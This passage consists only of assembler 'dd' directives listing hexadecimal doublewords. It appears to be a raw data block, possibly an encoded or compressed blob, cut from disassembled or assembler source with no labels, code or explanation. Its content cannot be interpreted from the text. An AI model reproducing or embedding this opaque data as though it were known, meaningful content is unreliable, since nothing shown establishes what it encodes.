		dd 7439E7C2h, 8FE2D507h, 6A17469Ah, 0FDCCBCB0h,	802A0017h
		dd 9EEEDB66h, 0A5074C1Bh, 0C8B132E3h, 23A4E281h, 0F4B793C0h
		dd 37DE0012h, 2F5A7021h, 0E9014BEEh, 9F607DE0h,	75E9AD1Ah
		dd 0E42A8B20h, 966A0234h, 18DC2C6Eh, 405F2041h,	37F1109Ch
		dd 0C6BBED02h, 0FD6178EBh, 4DE27E01h, 6015C53Bh, 1A0020CFh
		dd 0C628878Ch, 5CA5767h, 6D254A45h, 269FC090h, 2E061EE4h
		dd 440C7F96h, 36BF1C21h, 0D8220F74h, 2AFD0140h,	62001EDCh
		dd 35F51AE8h, 0C6E34Ah,	0FB55C9A8h, 32F1A911h, 0FE412E6Eh
		dd 5A017356h, 0B0FF41CFh, 1710EE4h, 1926C980h, 80E685F1h
		dd 67E43258h, 0EE5F4F84h, 5E2BFh, 0AFA4E5D4h, 8ADF653Dh
		dd 61C5A505h, 281CD007h, 1150A600h, 46184Bh, 60EFCA4Ah
		dd 3F491938h, 0AC924D00h, 0D2C465EBh, 0D3C01B2h, 1EE74CBAh
		dd 32BFAC7h, 0FF2646h, 0C4DAA4B0h, 0E9CB3708h, 0F54098C1h
		dd 7CCCCC8h, 1304FC2Fh,	0E8E02672h, 58DC2F80h, 0CB7010BCh
		dd 0D45407CCh, 87590FF7h, 72F4B653h, 80628EC0h,	8B21026Bh
		dd 77BEFFDEh, 4920F680h, 0E600D30Dh, 0A59C05F3h, 16E351Eh
		dd 591B8DC9h, 6E37E10Ah
		dd 0C8900DC3h, 0CE9B51h, 3B627725h, 4CC2B894h, 688D2300h
		dd 644054F3h, 0E767DE0h, 0F7CB2237h, 6ECCC26Fh,	9076EBA0h
		dd 47D64100h, 25E8883Eh, 7A801D06h, 91300038h, 3DB3B82Eh
		dd 0F9BB1000h, 0EED21A76h, 0FDC0000Dh, 906B43F5h, 0AB01F836h
		dd 11BFCF2Bh, 58289AE1h, 9BA0AD00h, 68F5F4C7h, 0F6C82450h
		dd 0FEEDA40Ch, 0FEBD1131h, 0DAD30299h, 0BB7F729Ch, 3CB800F7h
		dd 0FE1A7B62h, 0FFB23F8Ch, 0B18E513Eh, 98E04B52h, 0E8FB7940h
		dd 0FD9F6A04h, 0FD83338Bh, 7F9BC9BFh, 0B88673C0h, 6667005Dh
		dd 4347B34Eh, 0C0005B02h, 1AB483F7h, 7FB9C614h,	18FC60F5h
		dd 0A93C1377h, 0D4007A98h, 7C9390FFh, 0FE2E2C82h, 0E36A3897h
		dd 0CEE7F31Fh, 4CF88D52h, 0C20D38DEh, 21770C64h, 0F43E80F0h
		dd 0F4409529h, 6A0F7F22h, 0C2571F4Bh, 55685840h, 568CC440h
		dd 0DA7E2600h, 5B42520Dh, 0DF620F69h, 63402D9Ch, 0EAB35698h
		dd 0CB36B200h, 0B1CA66ABh, 453D00A3h, 1CF278C3h, 0B6E60E64h
		dd 0EF82721Eh, 0A624F742h, 0BD084152h, 717B2470h, 1A7A804Ah
		dd 0EE82DA00h, 0BFCA489Ah, 3E8300C2h, 0A76583Bh, 42396465h
		dd 0F3F180DEh, 3392D01Ah, 0D1C42480h, 0AAE5008Ch, 4E070E49h
		dd 0D979100h, 0DCA281C2h, 0D7F20019h, 0C96872F8h, 0B41EDB04h
		dd 0C303B3BFh, 9D92C0DFh, 35C44C0h, 0A481485Fh,	5388CB00h
		dd 0BA0A257Dh, 0CDE4111Fh, 0DEBDF3CBh, 0F97000F4h, 39B03FC7h
		dd 0A6726E00h, 0DE96CC85h, 0B9A800CAh, 3BD9D2F6h, 0A505CB50h
		dd 0EFB6ED15h, 0D80CF0C0h, 5F5500C7h, 75CDA0FEh, 5B035776h
		dd 2D9BAE5Eh, 0A6B280E7h, 0F4DC1F90h, 0BE95804Fh, 0F7064648h
		dd 7877C600h, 8B407D8Ch, 79211415h, 0E63B80F4h,	0F9C93D80h
		dd 0F74642CBh, 64F5E900h, 0A77B0D44h, 674104A8h, 0AA3438D0h
		dd 57E98490h, 0CF1B2E58h, 2BD602A8h, 405521B8h,	0F2A2A4h
		dd 0DC9A452Fh, 9906EEA5h, 580001F4h, 560F3CE8h,	70BABD2h
		dd 0F191E6F7h, 0AABAB0BBh, 0DC00E1A0h, 5A4AA1CFh, 6871D8h
		dd 72EF79D0h, 9FCDB275h, 3DB440BFh, 0F37FFFh, 4890174Ah
		dd 4792CC09h, 4E1688F4h, 0B601FDC6h, 4A6587E8h,	6BC46071h
		dd 8CC55036h, 4FF00C6h,	58A7392h, 381FA9EAh, 3A80ECA4h
		dd 1601DCAFh, 65200E40h, 325C09h, 0B50A77F8h, 87008FF2h
		dd 0CDA83234h, 97844ABh, 944D98A7h, 54D3BC48h, 3B00EB77h
		dd 3C36B829h, 5864D2B7h, 3D75DC7Ch, 0FA9F066Dh,	0BB394340h
		dd 0FDB80184h, 9E004CC1h, 61797360h, 240C23E8h,	3E307ED6h
		dd 65254000h, 0C2C6FAACh, 593ABF01h, 5C32B08Dh,	80A9F4h
		dd 1692EB8Eh, 2B4BE0E2h, 0B00ED730h, 4F5F213Ch,	9AE04020h
		dd 9C581C18h, 824C353Bh, 5A0CF5F8h, 2C60559Eh, 0E1000EC9h
		dd 1841AEA6h, 72AAD9EEh, 0E49900DDh, 1DAE723h, 0AD05ABD8h
		dd 0B746F17Eh, 3FDC29C0h, 0FE8101B2h, 5C8FA685h, 88402A15h
		dd 0D6DD97B0h, 2841BFBDh, 98B4D0B5h, 62D02140h,	0A01102Dh
		dd 7D1A282Ch, 0E4F7A027h, 0BE76009Bh, 0B759C6B0h, 0A90B94B2h
		dd 0E8EDD8FEh, 4C0E3A2Ch, 0C6003EEAh, 44AE844h,	540F23CAh
		dd 0C7BE898Dh, 66A079D4h, 2D6163EDh, 14201DE4h,	0B749BE3Eh
		dd 8C28BF54h, 0B999EC28h, 0FBC13701h, 0C643B69Bh, 0E76AC4h
		dd 3CD719FAh, 1FDAE830h, 7E156700h, 415939A1h, 30B678B7h
		dd 27109C10h, 0CDF1C242h, 0CE2D0183h, 10B42091h, 96104073h
		dd 68C910D2h, 0EF7F4073h, 1A106762h, 5135063Ch,	10C6CC90h
		dd 2020A9BBh, 5137942Eh, 56041097h, 47DB704h, 3D049EB2h
		dd 48E40481h, 85F4304h,	0CFA0BC46h, 206B5820h, 4A20A7BFh
		dd 5B8530D3h, 946BFC80h, 6CA2A45Bh, 543043F2h, 0F71E002Dh
		dd 6E732B2Eh, 444F1732h, 2F68B4E0h, 3CE2BCEAh, 0B56098DEh
		dd 0EBFCD0E8h, 218284F9h, 1AFFCF30h, 88681D7Fh,	1C602945h
		dd 772C1E2Bh, 0FD49C9C7h, 0BD261D80h, 0D5797599h, 0B09B9A4Fh
		dd 80984A84h, 0D5225F08h, 7823132Fh, 8EF74F58h,	0C0448800h
		dd 9F4D5F6Fh, 0DB9E548h, 0F82D3213h, 14ACE1D3h,	4E8CD06Ah
		dd 648724E1h, 6A2B6083h, 0FBA40280h, 0E9C1B5C2h, 8B5BF8D0h
		dd 0C6AA7403h, 69D5F8FAh, 8ED913CCh, 80E0E875h,	8719D3F5h
		dd 6E2300F6h, 0BF484FADh, 640042C5h, 63FA5DF2h,	14C849h
		dd 5CE86681h, 7BC405D7h, 0D089F63h, 1D200064h, 0F2686679h
		dd 9D0020FAh, 0CD18F688h, 49E5DFh, 44A3CF45h, 0B36150F5h
		dd 3EA5A39h, 86789D23h,	0C628032Bh, 57BC44ACh, 8EF5DEE0h
		dd 0F4C44118h, 1E50A880h, 0A63EEB1Dh, 39450CAEh, 0F560AE08h
		dd 1D290120h, 172C39B0h, 0FEB3017Ch, 0EC869E83h, 0D48AD07Dh
		dd 0C2504100h, 0E5530FF5h, 97762h, 5FB8C446h, 0CCC9F6E6h
		dd 49ECAE14h, 6C4D0680h, 780C825h, 80BAE729h, 6019E3A0h
		dd 0D11A01D9h, 0E221802Ch, 7F0FBAF0h, 78850070h, 0A006F196h
		dd 0B506B87Ch, 0DD363F73h, 0B16065A8h, 3CC3C0C8h, 0F0C12F16h
		dd 310A883Dh, 8CE28440h, 90DD50B2h, 30DE6078h, 48FC5EB7h
		dd 0ACC470C1h, 20BEE18Eh, 50EF673Fh, 4E63E280h,	0C2EAE88h
		dd 3130DD45h, 40EE9CCAh, 0D10CBBDEh, 89F3A450h,	0A2B03A9Dh
		dd 0C2CA7867h, 4307F85Eh, 0C913B6C1h, 44B540F2h, 84F4AA19h
		dd 8260F30Ch, 5C23E766h, 21E818EFh, 660C7A1Eh, 0A9ABBC75h
		dd 0CC9E01E9h, 12ACDE9Dh, 6327EEF1h, 4FC3D5C1h,	838B1440h
		dd 0A3081C78h, 0CA94E82Ah, 1E984929h, 0A11C24D6h, 461CA888h
		dd 1D4C0292h, 31213EEFh, 0D00513ACh, 0FE0F1Dh, 2F4EC668h
		dd 0CD096CDCh, 4A3C7B0Ch, 24BE28C7h, 0C80824C5h, 0A07B09F8h
		dd 6408040Ah, 0F8094033h, 7C6BE2BAh, 671712A4h,	9E2C03A2h
		dd 80A43492h, 6EC83E44h, 0B258DB52h, 9EA130A9h,	8ECFFE00h
		dd 367258AFh, 1FEF029Dh, 3078B724h, 5BCA8AAh, 405CBDF3h
		dd 84EE43A8h, 0ED06CB52h, 0E5E2F9A1h, 9B88408h,	0C084F69Ch
		dd 0E3BA0402h, 0D28FC700h, 14E49135h, 0EC8128F1h, 0EACB5084h
		dd 9E133B31h, 2AC48490h, 0AD0029EAh, 0B5AA4B2h,	3038235Bh
		dd 0F7294CBDh, 7C00AF31h, 95EF02ADh, 7D806972h,	0A5E01B1h
		dd 68E49EE3h, 431840BCh, 0AC00CABDh, 0FEE87A41h, 1DA98115h
		dd 4749BFC9h, 10F23006h, 0C0409457h, 253FACA8h,	424E402h
		dd 8499803Bh, 566078BCh, 3E10E91Dh, 0ADC83F71h,	1D4EFF80h
		dd 2CA0975h, 0BCA0BEDFh, 0B49125A3h, 8EB18F2h, 0D5CB5784h
		dd 5F38970h, 48337084h,	23442BDEh, 0DF2900A9h, 0EB32A3FAh
		dd 70D2CF00h, 3818E6F7h, 0A545755Fh, 603AE4D4h,	7CB78599h
		dd 44FB0909h, 0F4174356h, 0F429A9A6h, 55281D80h, 19B67AAh
		dd 244C3FDh, 209F972Fh,	92241A80h, 46744CCDh, 3E550034h
		dd 0BC7B0ED4h, 1863E4CAh, 58A7EFB6h, 0A0AABF8Fh, 608DA804h
		dd 10EE1D53h, 0B040293Eh, 11D2C06h, 9D29A0BFh, 0D8F90A55h
		dd 62243960h, 4F11FC1Ch, 76BAE980h, 1942D9A0h, 0BAF2E4C0h
		dd 0AF0CB968h, 1932DCE5h, 91B36040h, 0F5EA21B5h, 508E151Ch
		dd 0C96C9FC0h, 0C482D4h, 620DEC85h, 3EC14022h, 5E46590Ah
		dd 2680C0E9h, 0EB74139Bh, 0E75B0068h, 0C3425334h, 1E0FC1E5h
		dd 205DE18Ch, 0B5FC0222h, 0C52B0BF5h, 0AB80B84Eh, 75862D8Bh
		dd 0E63FF17Ch, 0D99960DCh, 0A852BCF3h, 0EA4FB4h, 0F1E12D3h
		dd 0AE4D196h, 0CB8670Eh, 6656E05Ah, 4F1519h, 6AEDEF82h
		dd 0F5C88A50h, 0BF2633F6h, 93C6CF3h, 912E668Fh,	0EF18F618h
		dd 0CB538408h, 0F79D70F5h
		dd 0FF618400h, 340D333Ah, 0ADB70048h, 0C43CC272h, 9E4BB869h
		dd 60628AACh, 0E447D7FFh, 0FE60AE44h, 2D00C8C5h, 984D8E5Fh
		dd 2479B8E8h, 44E8277Bh, 84F060F5h, 0DDCB244Ch,	0D8A27050h
		dd 0EA3B8418h, 0B85AD724h, 2E613AB6h, 4ECAF10h,	19BC2188h
		dd 8CF88088h, 4D84F10Fh, 4E88B1CBh, 84D9A380h, 481906F2h
		dd 3E87C839h, 0B0627EC5h, 88820366h, 0ECA02215h, 0B18832A0h
		dd 614834B0h, 0BC685864h, 370F8C2Fh, 21186556h,	47BD1D3Fh
		dd 7A79180h, 150F1C7Dh,	9BB5AC00h, 44E3B2B0h, 0FA2E2C94h
		dd 0B4E7021Ch, 0C841246Bh, 84D1893h, 393EF01Dh,	21B2C6h
		dd 6A1D2608h, 52EA4743h, 5360BDF4h, 66B31979h, 5DB20311h
		dd 507B161Eh, 78700DC0h, 0CB1B9B02h, 0C109C69Ch, 8420EA30h
		dd 4CCC019Dh, 288A9E93h, 558840A9h, 0B81671A5h,	943F835Ch
		dd 111E3523h, 83424AC0h, 246AE6Fh, 0DDCA4BD7h, 0F4C09424h
		dd 71C5A6B0h, 0CC23211Bh, 4B923Ah, 526BE33Eh, 88DD1D0Bh
		dd 8AC9DC5h, 4160640Fh,	3094CAE9h, 0E8F8016Eh, 0CC18C71Ah
		dd 0D626ED16h, 16C7976h, 70955453h, 83FF5EB8h, 52B4CAF9h
		dd 0E2380B18h, 749DFA61h, 37802E11h, 6BE7A28Bh,	8E495D0Fh
		dd 7A96A0E2h, 6D20D50h,	441A5FBBh, 0E8C8D999h, 667BC0D8h
		dd 87465CEEh, 3B001722h, 9A296693h, 0AF0FC2h, 0B2FFDD22h
		dd 36B36135h, 3B002496h, 0CCFBDEB0h, 320EB8DFh,	0EB18E08Ah
		dd 18D964C1h, 0ED660A7Ch, 50389F5Ch, 66009434h,	0BDB50A6Bh
		dd 3EA039h, 21D98A6Eh, 83ED2037h, 7C89060Ah, 100E43Fh
		dd 9888FD1Dh, 3710C53Ah, 0C9F85FB0h, 3CA99EA3h,	0AF08F49Dh
		dd 0AA8E60F4h, 3F30FCE6h, 0E38719BBh, 1EE4E655h, 192362h
		dd 3C66C7F2h, 9A5850CDh, 0C6458084h, 5854F3Eh, 4EA30913h
		dd 4DF40017h, 0DBF2967Ah, 465CB096h, 3C601B0h, 3C989FDBh
		dd 9804EEF4h, 89C43D3Ch, 0AFBCBCD8h, 0FF00F443h, 0F10290BCh
		dd 165874E8h, 0A1598B24h, 34411ADCh, 0F7883C2Ch, 0EB6676C0h
		dd 308F465Ch, 8E3A310Eh, 0F3140166h, 0DC311706h, 180038B0h
		dd 416934C9h, 0B291C0BCh, 0D9D5596Ch, 0C3003EFAh, 0C8A27367h
		dd 1208A80h, 615811A0h,	2CDDB293h, 43B1EC34h, 604300F4h
		dd 1E5BE33Fh, 14849C01h, 1056CC13h, 2FDD5CF0h, 3073F5h
		dd 0B1F1BE0Bh, 6ED85Ah,	97DE8C15h, 0E3AC6681h, 5883350Bh
		dd 11081DD4h, 16678034h, 0A82F33Bh, 421C8AA0h, 1D7400A8h
		dd 64A7464Ch, 6CEAE418h, 40C43A20h, 65E361A5h, 0B294E4E0h
		dd 1D5AE627h, 0F4B208F0h, 0A72F8261h, 38A2D833h, 1613BB30h
		dd 20BC2344h, 82B54B64h, 2F9F300h, 0A1726D1Fh, 0C54A0FBEh
		dd 4653768Ch, 0C154628Ch, 0C0EF78C8h, 0CB5684EAh, 0E014CD58h
		dd 784F288h, 17EB540Fh,	0F836B660h, 14C8C46h, 513EED04h
		dd 803CB240h, 951D2B03h, 5A5504CDh, 0E4BD0A70h,	110927F8h
		dd 81ECFCABh, 22C66852h, 1E9C820h, 0B6FBD49Eh, 3CF3B9CFh
		dd 12A2368h, 0A075BAEEh, 883518F1h, 0BA30F3E7h,	83CBF824h
		dd 0E0891520h, 0CE0BE84Fh, 3000136Bh, 586A5EE8h, 0B491D092h
		dd 24181079h, 0E55FA41Ch, 686D7040h, 3422629Bh,	0E388C13Dh
		dd 6412B138h, 0A907570Ch, 8ABF0785h, 20480249h,	0CF2E2141h
		dd 23F43DA3h, 0BAED012Bh, 28F9A07Ah, 0F508B0F0h, 5F9E1FBAh
		dd 88DECEE0h, 4E88B0F4h, 81D7EAC7h, 76585CB0h, 82C60BDh
		dd 7234E859h, 0F73E8200h, 7C1E426Ch, 1CA000B6h,	78A328EEh
		dd 0C71DD884h, 0D1C0C4D9h, 426B54B5h, 0FD340E52h, 109931F1h
		dd 0A969F44Eh, 729E8700h, 5A89E8A6h, 5C61C040h,	0C5CFF745h
		dd 22405452h, 3D810057h, 7AB3F0F7h, 221EEBFBh, 0C1CC5D11h
		dd 0C33C20EDh, 4D6D5860h, 298CF7D0h, 92783100h,	0C60FBD48h
		dd 2D78ECh, 0CBF0A0A2h,	32B7469Dh, 0E9734200h, 39E14CC7h
		dd 0F68D7802h, 0E8A71403h, 41815085h, 0DEC5CBF7h, 7D40B433h
		dd 3874F739h, 55F01800h, 0BCDAC85Bh, 0FFDE05BDh, 8FD8E24h
		dd 42C0867Ch, 46C5CCF7h, 56223Ch, 0DF73A7Eh, 0B3FD9275h
		dd 48CF8675h, 933920C5h, 1933EE35h, 0E0FC2A08h,	0C85C4AA6h
		dd 120BC753h, 0E4808DCBh, 0C00FC1DFh, 7830D11Eh, 0A0ADA506h
		dd 0A3460069h, 0C2722E73h, 0ECA14D65h, 0C080CAD1h, 0B30F9CE8h
		dd 70BCE000h, 59F4F98Dh, 6BBFAC8h, 0B8D23924h, 1C30287Ah
		dd 0CF340873h, 8ED506BDh, 0D8EE39B3h, 37D09318h, 1FD15451h
		dd 83BD47FFh, 0B6B5EC60h, 21480830h, 7CFFC97Bh,	522F14F9h
		dd 0C1880EFh, 6E4BD8F0h, 309A34A0h, 0BF0A9402h,	91F7DE0Fh
		dd 0D7198494h, 2CC5CAE8h, 7C50448Ch, 49F73800h,	73176A39h
		dd 0DC18C03Dh, 761C3E3Ch, 9A92D1C3h, 0B0FB98ABh, 0F338190Ch
		dd 9F860880h, 0AB80B821h, 0C1F1FBA2h, 0F3A0A04Bh, 4982770Fh
		dd 1104643Bh, 8071BBE9h, 0A9F9F548h, 426F7301h,	5FF643E8h
		dd 0A82E2511h, 0C818B431h, 811EC24h, 9B350092h,	4096A871h
		dd 8CC7869h, 12E21FEh, 0DAAF358Ah, 43C239E3h, 2102E930h
		dd 59FFBF48h, 69984919h, 1832DCDCh, 0C97E1D4Ah,	6E14046Ah
		dd 6FDCB1F5h, 0B0C18A39h, 0D5A7A260h, 0BBE0D01h, 2207133h
		dd 0B03392F0h, 46BD46FFh, 4A22E6h, 3AFFC87Ah, 85C5978Bh
		dd 449D0124h, 17FE9A00h, 371EBF8h, 8138AC33h, 892460C0h
		dd 4D10E813h, 79D27105h, 48B40347h, 0C100841Ch,	0EE94EB41h
		dd 30CF70h, 448E3FB4h, 10087E3Ah, 25BBF51Ch, 16E451F0h
		dd 0E8170EE2h, 528E4FE9h, 430C2AA1h, 0FA081Dh, 0F9A4ACEh
		dd 0D1211C11h, 6F6C0FDh, 0E1DE141Fh, 0F3789D40h, 0CCA5B3Eh
		dd 0EF25C264h, 9F0F6061h, 214EE4FDh, 476A4C02h,	5B948050h
		dd 0F0F8AB49h, 25952Ch,	11D7DAFBh, 187FBA1Dh, 0EDD19E0Ah
		dd 8D44B076h, 0C1F7CB62h, 0B058BEEBh, 0C3758849h, 0FB1CFF06h
		dd 69455Ah, 5953C02Ah, 0A3EF7D6Dh, 0A9F12530h, 322BB5Ah
		dd 0A60B7AE4h, 0C9B74742h, 0E38038B7h, 6AFF9ACAh, 330A026h
		dd 0CC7C0029h, 0F1462C2h, 0B090A4CFh, 95023946h, 88FB8DABh
		dd 0B34FCC33h, 89ABC7h,	9AA899CBh, 5CF326h, 1D042503h
		dd 7A29007Dh, 411F2F6Eh, 523A9019h, 0A5CD078Eh,	0E04E0BF3h
		dd 0EAF7ACC7h, 24C87B4Ah, 383C8CB5h, 984178B6h,	96023A46h
		dd 90FB8EABh, 0B4138C31h, 0D254ABF0h, 4199F500h, 0E9740FA0h
		dd 5440483Bh, 0F7FFFD04h, 6E8CC8BEh, 38D0FE19h,	97183B68h
		dd 0FB8FAB0Ah, 0B5718098h, 361ABF8h, 0FC9AC974h, 1CA18965h
		dd 0BD218079h, 8F157DF2h, 0F113136Ah, 0D034401Bh, 0DD16DFA2h
		dd 886438A5h, 0FD454B60h, 97FAC0B0h, 143A712h, 73A20820h
		dd 4868712Fh, 912350C0h, 45FFCF05h, 50629285h, 0C7792051h
		dd 0ED01F8FFh, 533B7FF3h, 0BFC40DB5h, 0F7262405h, 37DC801Ch
		dd 6D5458F1h, 1475A600h, 0F0785010h, 4BC20C6Ch,	86513877h
		dd 462C9BF0h, 0E30574C7h, 1C892833h, 30876442h,	0CD16F743h
		dd 83944C5h, 12F79085h,	73E40436h, 0D538C843h, 0F3FC4E41h
		dd 0A53E166Ch, 98D454DDh, 223BA848h, 303FF187h,	1C5961D2h
		dd 8A85085h, 360061A8h,	5ADAD053h, 3A6278h, 8490946Dh
		dd 0D1C83F76h, 99D180F3h, 5E7B55B2h, 0CC9C0035h, 0F79DAEA5h
		dd 3F6022B7h, 3DC97350h, 6891D465h, 5EBCA72Eh, 46015646h
		dd 8914D63Fh, 0C5F0317Eh, 8E218143h, 53E7F173h,	50C72424h
		dd 8C8FF4ABh, 43FFCD04h, 44CECEBDh, 0C57716h, 0C19B9E39h
		dd 0B0C74AE1h, 25D51CA9h
		dd 763088h, 0D16456A7h,	4F1F699Ah, 0CF0DF200h, 0F1FE0C13h
		dd 414C4AF9h, 776E3834h, 0A2D0638Ch, 2A713087h,	8849D58h
		dd 0F070A2Fh, 844A8565h, 5A950FE4h, 9E0080F5h, 2301313Ah
		dd 0EA0375D0h, 5A6AD5B7h, 0C1210042h, 205F4A3Dh, 0D3019348h
		dd 0FA43C067h, 805EA1Bh, 47C08B3Ch, 46C5D1F7h, 4512264h
		dd 0DCF73F83h, 6230804Ch, 4B9EFF6h, 0D418FFF9h,	17F35B0Ah
		dd 2708E48Fh, 24D10662h, 200F29FDh, 60644E82h, 303296AAh
		dd 0E56800A3h, 6CA17493h, 1D0A81D5h, 0E844D234h, 64B82880h
		dd 0DD1306h, 2A9BA68Ah,	11DE26C5h, 921605E4h, 5848FDF5h
		dd 0FFCAC08Ch, 0B65CBD40h, 0C274E008h, 0EB2339FFh, 0A1FB2618h
		dd 0B500A23Dh, 0BC999B52h, 19B885h, 6CEA42EDh, 0D818AD1Dh
		dd 0F81715E6h, 0DC5296BAh, 8B23AC3Ah, 75F09500h, 134E696Eh
		dd 80D74A3h, 9BC03F98h,	4AFB93ABh, 0B9002CB8h, 0BE4CABFCh
		dd 2AE01740h, 0B8F74503h, 0C2990124h, 0A3C1739Ch, 0D90C646Fh
		dd 1728CD4Dh, 68609249h, 94CE2673h, 56465E64h, 61A0E900h
		dd 833BACC9h, 2D29430Fh, 0B83A9614h, 0A8068623h, 3F614B5Bh
		dd 0E6802C06h, 48B92BEFh, 2D73DDC8h, 71A64E1Ch,	81284498h
		dd 5C2048C2h, 0E98CFCFCh, 4047BC30h, 0BE4E814Fh, 0A8A70440h
		dd 303E70F4h, 0FBA99F1Dh, 57F349F1h, 5C74FA9Ch,	920F8C46h
		dd 8800DEB6h, 2674132Ch, 73FFFE00h, 0C5F1FC0Ch,	0AF60C141h
		dd 82492BB9h, 0A3D9CB98h, 4F384784h, 733B8031h,	2CDA7B3h
		dd 82BE8AA4h, 4C609CE4h, 1B400E27h, 95B300C7h, 471F07F3h
		dd 49625A76h, 22198620h, 0D8901DA8h, 1600B091h,	3AF53348h
		dd 1E21E1Fh, 5B2C8043h,	713C4BA1h, 0E1A82854h, 3D2766Dh
		dd 0F18341B5h, 6E3BC098h, 8C794926h, 4674FC24h,	9B1094Ah
		dd 7B84426h, 0DD74ED2Bh, 24836092h, 0AD0290BDh,	3BC1F1A5h
		dd 0AA34CB41h, 903C8B9Eh, 0C54ECh, 7C89B3ADh, 8BE6C2C3h
		dd 3026D003h, 0F8E912B2h, 654D7DC6h, 99933872h,	0C54442D8h
		dd 11358F30h, 88907198h, 872B8005h, 1BF2A835h, 0F6023FE6h
		dd 0BBD7EDD2h, 799E609Ah, 667006BFh, 70A5359Dh,	5179D0B9h
		dd 9D01FE18h, 0CB7043CAh, 41F49652h, 703C9BDCh,	0F9179B48h
		dd 84966DDh, 0FD6849B7h, 0C45345F0h, 4F88BE19h,	3BE584A5h
		dd 0D3944800h, 0E9306DC7h, 0F7BDD09Bh, 140D484Dh, 46A09D28h
		dd 358D02C3h, 47807196h, 852901E4h, 23E4CE35h, 0C45D0050h
		dd 5563973Bh, 0B79E00CCh, 438426CAh, 6538DB58h,	0BD1D02E8h
		dd 138A2Fh, 92016DC5h, 276790C7h, 3F07F4C4h, 1873169Dh
		dd 4E793CB9h, 2D019218h, 0A8F46ACFh, 5C432477h,	0D925E0A0h
		dd 7E2A0028h, 0F41CE40h, 0F20E4986h, 41387602h,	259D6FEBh
		dd 93005838h, 33DFBF5Bh, 0A537C672h, 2FAFB1BDh,	88990640h
		dd 771F1210h, 699C903Ch, 5C49CF2Ah, 4DBC4Ch, 0E541CAC1h
		dd 0B374F382h, 0FF5DEE0Ah, 0C58590F9h, 0E4417D9Dh, 0F5FDF7C1h
		dd 0DE2818A6h, 1E49601h, 8BB9B5DFh, 40C24030h, 3F0FCCEBh
		dd 0F50319Ah, 8C27293h,	0C5C44003h, 78D0A478h, 96A1283Dh
		dd 2885FC08h, 150888Dh,	78313359h, 3739A8BFh, 3CFB5AA8h
		dd 398C19C1h, 0B8192FBh, 0B5295C93h, 5F9C0A5h, 3C509039h
		dd 0DBADBB2Bh, 0AF5125FFh, 18A2F3B2h, 794C430h,	0BE836DE1h
		dd 1405637Fh, 0BD8B4A06h, 0C5E2E39h, 13ED95FFh,	8D10290Ch
		dd 8B1D1819h, 839DC3F0h, 0AFF5FCE9h, 18E27FF2h,	1688D30h
		dd 89B72571h, 802661BDh, 0E3BED375h, 0EE36C06Eh, 197D3085h
		dd 68E9F81Ah, 7542076Bh, 270B2FECh, 7D05FD4Bh, 1CC425C5h
		dd 19BFF760h, 91CD4002h, 0DFB5B065h, 8106A7D9h,	6A0D15BDh
		dd 0DA481D0h, 7A0C01A7h, 1DAC97ADh, 0E0D3B700h,	0B5D3EC5h
		dd 14920BDh, 0E99D8B0Bh, 0C5C7D50Ah, 0D0671B44h, 0AE591A73h
		dd 0BE6ED600h, 81F9BF0Fh, 0BD01E0E3h, 4674D55Eh, 0E8337E14h
		dd 0F8A41310h, 640E69h,	7D18D026h, 59A6E7Ah, 81A39638h
		dd 5EF1B70Fh, 8CDADB0Bh, 148339E3h, 0D749E3BDh,	7084A440h
		dd 14C48739h, 38BF8F60h, 198C1016h, 0F216D0FFh,	1D079AD6h
		dd 2124372Fh, 89456DD4h, 0E6B0EA8Dh, 468551C7h,	5342FC6Bh
		dd 301AA221h, 5601BCD4h, 0B583CBADh, 1FA836E9h,	6212BA7h
		dd 56433837h, 0A028B3DEh, 0C69D768h, 0C4D9D29h,	21ED8D60h
		dd 0E1B97A1Ch, 8200EABCh, 0E55BDC02h, 0A0800F53h, 0FFBF55h
		dd 81596A63h, 0FB1327E6h, 23586D76h, 4BFF7EFCh,	0C21C8839h
		dd 0EBE061B3h, 8803A375h, 8C66BF23h, 0C15E9FDBh, 4C3F643h
		dd 0BD341320h, 13F43276h, 8D0B60Ch, 89899168h, 0CBC0C9Dh
		dd 7170C750h, 2404B123h, 3236308Bh, 7B5F65D4h, 9C280A8Bh
		dd 4EEB078h, 52E79B5h, 981170E6h, 48BE0114h, 71E4F5A5h
		dd 13F28BDCh, 3AD8B60Fh, 1D2396h, 109E40Dh, 5A0550E1h
		dd 0BAA6B43Fh, 6E69A1BAh, 51ACF4A9h, 250ED801h,	2B29B523h
		dd 0DFF23E35h, 1671EF71h, 0D828F418h, 1161ABDBh, 4E8C14Dh
		dd 40F18120h, 0F73F6609h, 32D8A9E2h, 0B6181471h, 40EA505Bh
		dd 7247A350h, 99070663h, 98EB699Bh, 0ABE1AA01h,	131C89C4h
		dd 53B5FF24h, 23533BDEh, 38E0114h, 633291B5h, 761A3B89h
		dd 0D6E854BDh, 87A12A3Ah, 0B06F5AE0h, 4DEB70Ah,	0F08A6FEh
		dd 2902888Eh, 25C19512h, 3A094725h, 0CD3F0AF0h,	0D02100DEh
		dd 1974F04Dh, 0EB06C69Fh, 27BD9D09h, 613C0562h,	95A0830Fh
		dd 0B0B6EB28h, 6087B2B7h, 13F168E0h, 58A8FC81h,	0F38B1594h
		dd 8D096FBAh, 52101069h, 7B09C681h, 197143B7h, 19FE6534h
		dd 0CC3521F5h, 8F220F58h, 16FC6F01h, 3B428825h,	1B235Eh
		dd 0DBBB0791h, 0FD26267Bh, 2908073Ah, 0A6B91F19h, 18467E57h
		dd 524A640Eh, 83F93DA1h, 0B21323C1h, 2F073019h,	2ACE5101h
		dd 0DDB589B0h, 5C3B5734h, 0C13561D9h, 1577812Fh, 0C0870426h
		dd 46748AFAh, 412D001Ah, 37AFE646h, 0C1F626A4h,	5E8391DEh
		dd 0DA5D40BEh, 9B4813CDh, 69D12E00h, 253EDDB1h,	0D3DE4D8Eh
		dd 14ECBDCFh, 0A1209D0Dh, 6A5B5C1Ah, 0C32BF70Bh, 62D14DD7h
		dd 9240B3E0h, 342E3DF9h, 2D44EB08h, 13B2E1CCh, 3F2EE94Dh
		dd 41623B3h, 0D74D64CBh, 8B04F88Ch, 950452C0h, 0F5E090Dh
		dd 9DD88B6Ah, 0C915113Fh, 49910217h, 0C1F32519h, 9C0FA137h
		dd 0DB5F9110h, 1AD195A9h, 0B2902C18h, 0A9A17309h, 0CD2402DAh
		dd 878E0903h, 0FD2616Ch, 89B28D48h, 0C9A47F5h, 0FF230C85h
		dd 41045EDh, 1234A93Fh,	5E53D861h, 3109B836h, 0C24358Dh
		dd 0E08DA690h, 4A8CF96h, 7702BF9Ah, 8993D006h, 1567CD8Dh
		dd 2A36958Fh, 0D1B5180Dh, 0FA8BED14h, 8D490B90h, 67887C8Eh
